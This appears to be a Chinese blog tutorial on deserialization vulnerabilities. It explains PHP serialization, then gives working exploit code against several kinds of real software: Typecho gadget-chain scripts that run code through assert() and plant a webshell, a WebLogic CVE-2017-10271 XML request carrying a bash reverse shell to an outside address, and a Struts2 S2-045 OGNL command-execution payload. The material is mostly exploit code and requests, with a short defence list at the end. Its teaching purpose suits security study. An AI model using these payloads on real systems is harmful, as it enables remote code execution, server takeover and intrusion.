• 反序列化漏洞及漏洞复现


    渗透测试漏洞原理

    不安全的反序列化

    在这里插入图片描述

    问题:为什么要序列化?

    序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式大多为字节流、字符串、Json 串。在序列化期间内,将对象当前状态写⼊到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重新创建该对象。简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台安全的进行通信。

    1. 序列化与反序列化

    以PHP 语言为例。

    对象 – 序列化 --> 字符串、Json – 反序列化 --> 对象

    1.1 引例

    JSON 数据是数据的一种表达形式,与Python 中的字典类似。

    // json.php
    <?php
        $stu = array(
            'name'   => 'wuhu', 
            'age'	=> 18,
            'sex'	=> true, 
            'score' => 89.9
        );
    
        // echo $stu;		//只能输入文本字符串
        // var_dump($stu);	
    
        $stu_json = json_encode($stu); 
    	echo $stu_json;
    
        echo "
    "
    ; $stu_json = isset($_GET['stu'])?$_GET['stu']:$stu_json; $stu = json_decode($stu_json); var_dump($stu); ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    说明

    • json_encode:对变量进行 JSON 编码。
    • json_decode:对 JSON 格式的字符串进行解码。

    验证

    ?stu={"name":"wuhu","age":19,"sex":true,"score":89.9}
    
    • 1

    image-20230905140647421

    1.2 序列化实例

    1.2.1 定义一个类

    定义一个类

    
        //   stu.class.php
        class Stu{
            public $name; 
            public $age; 
            public $sex; 
            public $score;
        }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    1.2.2 创建对象

    创建一个对象,并对该对象进行序列化操作,将对象转化为可以存储、传输的字符串。

    
        // serialize.php
        include   "./stu.class.php";
        $stu1 = new Stu();			//创建一个名为“Stu”的对象实例。
    	//给 $stu1 对象的属性赋值
        $stu1 -> name	= "wuhu";	//$stu1.name
    
        $stu1 -> age	= 24;
        $stu1 -> sex	= true;
        $stu1 -> score   = 99.9;
    
        // echo $stu1;
        // var_dump($stu1);
    	
        $_stu1 = serialize($stu1); 
    	echo $_stu1;
    
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    说明

    • 使用 serialize() 函数可以将对象序列化为字符串,同时保留对象的属性值和结构。

    序列化后的字符串:

    O:3:"Stu":4:{s:4:"name";s:4:"wuhu";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.9;}
    
    • 1

    image-20230905142628955

    1.2.3 反序列化

    将字符串转化为对象。

    
        //   unserialize.php
    
        include "./stu.class.php";
    
        $stu1_ser = 'O:3:"Stu":4:{s:4:"name";s:4:"wuhu";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.9;}';
    
        $stu1_obj = unserialize($stu1_ser); 
    	var_dump($stu1_obj);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    1.2.4 对象注入

    如果反序列化字符串,Web 用户可以控制,则造成对象注入。

    
        // $stu1_seria = 'O:3:"Stu":4:{s:4:"name";s:4:"wuhu";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.9;}';
        $stu1_ser = $_GET['wuhu'];
    	$stu1_obj = unserialize($stu1_ser); 
    	var_dump($stu1_obj);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    页面效果

    image-20230905142939050

    我们可以操控序列化后的字符串,使其变成我们想让其输出的样子。

    PHP 的反序列化漏洞也叫PHP 对象注⼊,是一个⾮常常⻅的漏洞,这种漏洞在某些场景下虽然有些难以利⽤,但是一旦利⽤成功就会造成非常危险的后果。

    2. 漏洞何在

    2.1 漏洞触发

    创建vul.class.php文件在里面创建一个类

    
        //   vul.class.php
        class Vul{
            public $str = "wuhu";
    
            function __destruct(){
            	//echo "This is function __destruct()"; 
                @eval($this -> str);
            }
        }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    创建一个test.php文件在里面创建一个Vul对象

    
        // test.php
    
        include './vul.class.php';
    
        $s = new Vul(); 
    	echo serialize($s); 
    	echo "
    "
    ; $_s = $_GET['s_ser']; $s = unserialize($_s); var_dump($s); ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    序列化代码

    O:3:"Vul":1:{s:3:"str";s:4:"wuhu";}
    
    • 1

    参数说明:

    • O :表示序列化后的数据是一个对象(object)。

    • 3 :表示该对象的类名 Vul 的字节数(即类名长度为 3)。

    • :"Vul":类名,表示该对象属于名为 Vul 的类。

    • 1:表示该对象有 1 个属性。

    • {}:对象的属性和值的集合,用大括号括起来。

    • s:3:"str": 属性名为 str,表示一个字符串类型

      • s: 表示后面的值是一个字符串。
      • 3: 表示该字符串的长度为 3 个字符。
      • :"str": 属性的值为 “str”。
    • s:4:"wuhu": 属性名 str 的值为 “wuhu”,也是一个字符串类型。

      • s: 表示后面的值是一个字符串。
      • 4: 表示该字符串的长度为 4 个字符。
      • :"wuhu": 属性值为 “wuhu”。

    反序列化执行代码

    ?s_ser=O:3:"Vul":1:{s:3:"str";s:10:"phpinfo();";}
    
    • 1

    image-20230905160020090

    解析

    __destruct():会被对象自动调用。

    以 __ 开头的函数,是PHP 中的魔术方法。类中的魔术⽅法,在特定情况下会自动调⽤。即使魔术方法在类中没有被定义,也是真实存在的。

    魔术方法触发条件
    __construct()在创建对象时⾃动调⽤,构造函数
    __destruct()在销毁对象时⾃动调⽤,析构函数
    __call();
    __callStatic();
    __get(); 
    __set(); 
    __isset(); 
    __unset(); 
    __sleep(); 
    __wakeup();			# 创建对象之前触发。
    __toString(); 
    __invoke(); 
    __set_state(); 
    __clone(); 
    __debuginfo();
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    漏洞形成的根本原因就是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、GetShell 等一系列不可控的后果。反序列化漏洞并不是PHP 特有的,也存在于Java、Python 语言中,其原理基本相同。

    补充

    提交O:3:“Vul”:1:{s:3:“str”;s:4:“wuhu”;},页面显示效果如下:

    image-20230905164401508

    提交O:3:“Stu”:4:{s:4:“name”;s:4:“wuhu”;s:3:“age”;i:24;s:3:“sex”;b:1;s:5:“score”;d:99.9;},页面显示效果如下:

    image-20230905164345215

    发现这里Object中的类名变成了__PHP_Incomplete_Class。

    原先的Vul中只有一个变量,选择添加一个变量O:3:“Vul”:2:{s:3:“str”;s:4:“wuhu”;s:3:“age”;i:24;},查看页面显示效果:

    image-20230905164552723

    要求:反序列后的字符串要符合要求,变量没有要求,但是类名字有要求。也就是说提交的反序列化字符串,要想让程序可以理解,需要保障类的名字必须与程序中定义的一致!

    3. 反序列化漏洞攻防

    3.1 PHP反序列化实例

    3.1.1 漏洞利用脚本
    
        class Typecho_Feed{
            const RSS1 = 'RSS 1.0';
            const RSS2 = 'RSS 2.0';
            const ATOM1 = 'ATOM 1.0';
            const DATE_RFC822 = 'r';
            const DATE_W3CDTF = 'c';
            const EOL = "\n";
            private $_type;
            private $_items;
    
            public function __construct(){
                $this->_type = $this::RSS2;
                $this->_items[0] = array(
                    'title' => '1',
                    'link' => '1',
                    'date' => 1508895132,
                    'category' => array(new Typecho_Request()),
                    'author' => new Typecho_Request(),
                );
            }
        }
    
        class Typecho_Request{
            private $_params = array();
            private $_filter = array();
    
            public function __construct(){
                $this->_params['screenName'] = 'phpinfo()';
                $this->_filter[0] = 'assert';
            }
        }
    
        $exp = array(
            'adapter' => new Typecho_Feed(),
            'prefix' => 'typecho_'
        );
    
        echo base64_encode(serialize($exp));	//将序列化字符串做base64编码操作
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    注意:攻击的对象是Typecho,所以构造的类,必须是Typecho应用中存在的类的名字Typecho_Feed、Typecho_Request。

    浏览器中访问该文件

    image-20230905165942302

    会生成的base64编码后序列化后的字符串

    image-20230905170009264

    YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
    
    • 1
    3.1.2 漏洞利用

    这里通过POST方式提交攻击代码。

    image-20230905171025692

    攻击代码的效果是由assert执行phpinfo(),页面效果

    image-20230905171039876

    3.1.3 获取GetShell

    构造payload:

    
    class Typecho_Request
    {
        private $_params = array();
        private $_filter = array();
    
        public function __construct()
        {
            $this->_params['screenName'] = 'file_put_contents(\'wuhu.php\',\'\')';
            $this->_filter[0] = 'assert';
        }
    }
    
    class Typecho_Feed
    {
        private $_type;
        private $_items = array();
        public $dateFormat;
    
        public function __construct()
        {
            $this->_type = 'ATOM 1.0';
            $item['author'] = new Typecho_Request();
            $this->_items[0] = $item;
        }
    }
    
    $x = new Typecho_Feed();
    $a = array(
        'adapter' => $x,
        'prefix' => 'typecho_'
    );
    echo "
    ";
    print_r($a);
    echo "
    "
    ; echo serialize($a)."
    "
    ; echo "__typecho_config=".base64_encode(serialize($a)); ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38

    将上述代码复制到文件并保存然后浏览器中访问该文件

    image-20230905200427158

    修改cookie前:

    image-20230905201908778

    修改Cookie后:

    image-20230905202010895

    蚁剑进行连接

    image-20230905202042308

    3.2 Java反序列化实例

    3.2.1 Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞

    Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞

    说明内容
    漏洞编号CVE-2017-10271
    漏洞名称Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞
    漏洞评级高危
    影响范围10.3.6.0.0
    12.1.3.0.0
    12.2.1.1.0
    12.2.1.2.0
    漏洞描述Veblogic在wls-wsat.war中的VLS Security组件对外提供WebService服务,
    其中使用了XMLDecoder来解析用户传入的XML数据,
    在解析的过程中出现反序列化漏洞,导致可执行任意命令。
    修复方案打补丁,上设备,升级组件
    3.2.1.1 漏洞描述

    Oracle Fusion中间件的Dracle WebLogic Server组件中的漏洞(子组件:WLS Security)。受影响的支持版本为10.3.6.0.0、12.1.3.0.0、12.2.1.1.0和12.2.1.2.0。易被攻击的漏洞允许未经身份验证的攻击者通过T3进行网络访问,从而危及Oracle WebLogic Server。成功攻击此漏洞可能导致接管Oracle WebLogic Server。

    CVSS3.0基础分数7.5(可用性影响)。

    CVSS矢量:(CVSS:3.O/AV:N/AC:L/PR:N/U:N/S:U/C:N/:N/A:H)。

    3.2.1.2 影响版本
    • Weblogic 10.3.6.0.0

    • Weblogic 12.1.3.0.0

    • Weblogic 12.2.1.1.0

    • Weblogic 12.2.1.2.0

    3.2.1.3 漏洞复现

    启动环境

    image-20230905173553168

    访问页面

    image-20230905173646282

    在URL中输入http://127.0.0.1:7001/console,访问成功

    image-20230905173740675

    3.2.1.4 漏洞扫描

    使用扫描工具nacs

    sudo ./nacs -h 192.168.188.185 -pa 7001
    
    • 1

    image-20230905174305779

    扫描工具:0xn0ne/weblogicScanner: weblogic 漏洞扫描工具

    使用方法

    python3 ws.py -t 192.168.188.185
    
    • 1

    image-20230905175902997

    3.2.1.5 漏洞验证

    访问页面

    /wls-wsat/CoordinatorPortType
    
    • 1

    image-20230905183216758

    使用bp抓取数据包

    image-20230905183330945

    发送到重发器上,将其修改为POST请求

    image-20230905183708178

    然后发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误)

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: your-ip:7001
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: text/xml
    Content-Length: 633
    
     
    
    
    
    
    
    /bin/bash
    
    
    -c
    
    
    bash -i >& /dev/tcp/10.0.0.1/21 0>&1
    
    
    
    
    
    
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    例如错误如下:

    image-20230905184120794

    由于提交的是XML所以修改Content-Type值为text/xml

    image-20230905184600301

    利用DNSLOG平台,进行无回显RCE漏洞验证。

    DNSLog Platform

    image-20230905184707859

    pz9kgu.dnslog.cn
    
    • 1

    修改数据包,进行URL编码,然后进行发送

    image-20230905185022477

    页面显示结果

    image-20230905184922992

    然后使用反弹shell

    image-20230905185702225

    kali先开启监听

    image-20230905185635569

    反弹成功

    image-20230905185747009

    3.2.2 S2-045 Remote Code Execution Vulnerablity
    3.2.2.1 启动镜像

    image-20230905190944661

    2.2.2.2 访问页面

    image-20230905190934670

    3.2.2.3 漏洞检测

    使用nacs扫描漏洞

    sudo ./nacs -h 192.168.188.185 -pa 9080
    
    • 1

    image-20230905191228445

    扫描到了该漏洞

    3.2.2.4 漏洞利用
    POST / HTTP/1.1
    Host: localhost:8080
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.8,es;q=0.6
    Connection: close
    Content-Length: 0
    Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    使用bp抓包

    image-20230905191442063

    右键发送到重发器,然后修改为POST请求

    image-20230905191528882

    然后将漏洞利用代码复制到Content-Type中,发包即可

    image-20230905191752452

    233*233=54289漏洞存在。

    输入我们的漏洞利用代码:

    "%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    
    • 1

    image-20230905192913290

    还有如下案例:

    3.3 反序列化漏洞防御

    漏洞防御:

    • 升级组件到最新版本

    • 黑白名单过滤敏感字符

    • 禁用反序列化功能

    • 部署安全设备

  • 相关阅读:
    面试-Redis-缓存雪崩
    每天5分钟快速玩转机器学习算法:带有核函数的支持向量机模型
    763. Partition Labels
    oracle的从入门到精通第一篇(oracle的基本概念与crud)
    文件上传渗透实验
    【C++笔记】之基于C++11 condition_variable实现的缓存限制队列
    2022第五空间-web部分wp+复盘总结
    JAVAWEB开发之权限管理(二)——shiro入门详解以及使用方法、shiro认证与shiro授权
    STM32CubeMX学习笔记(44)——USB接口使用(HID按键)
    java 多线程&线程状态的切换——67
  • 原文地址:https://blog.csdn.net/weixin_58783105/article/details/132700496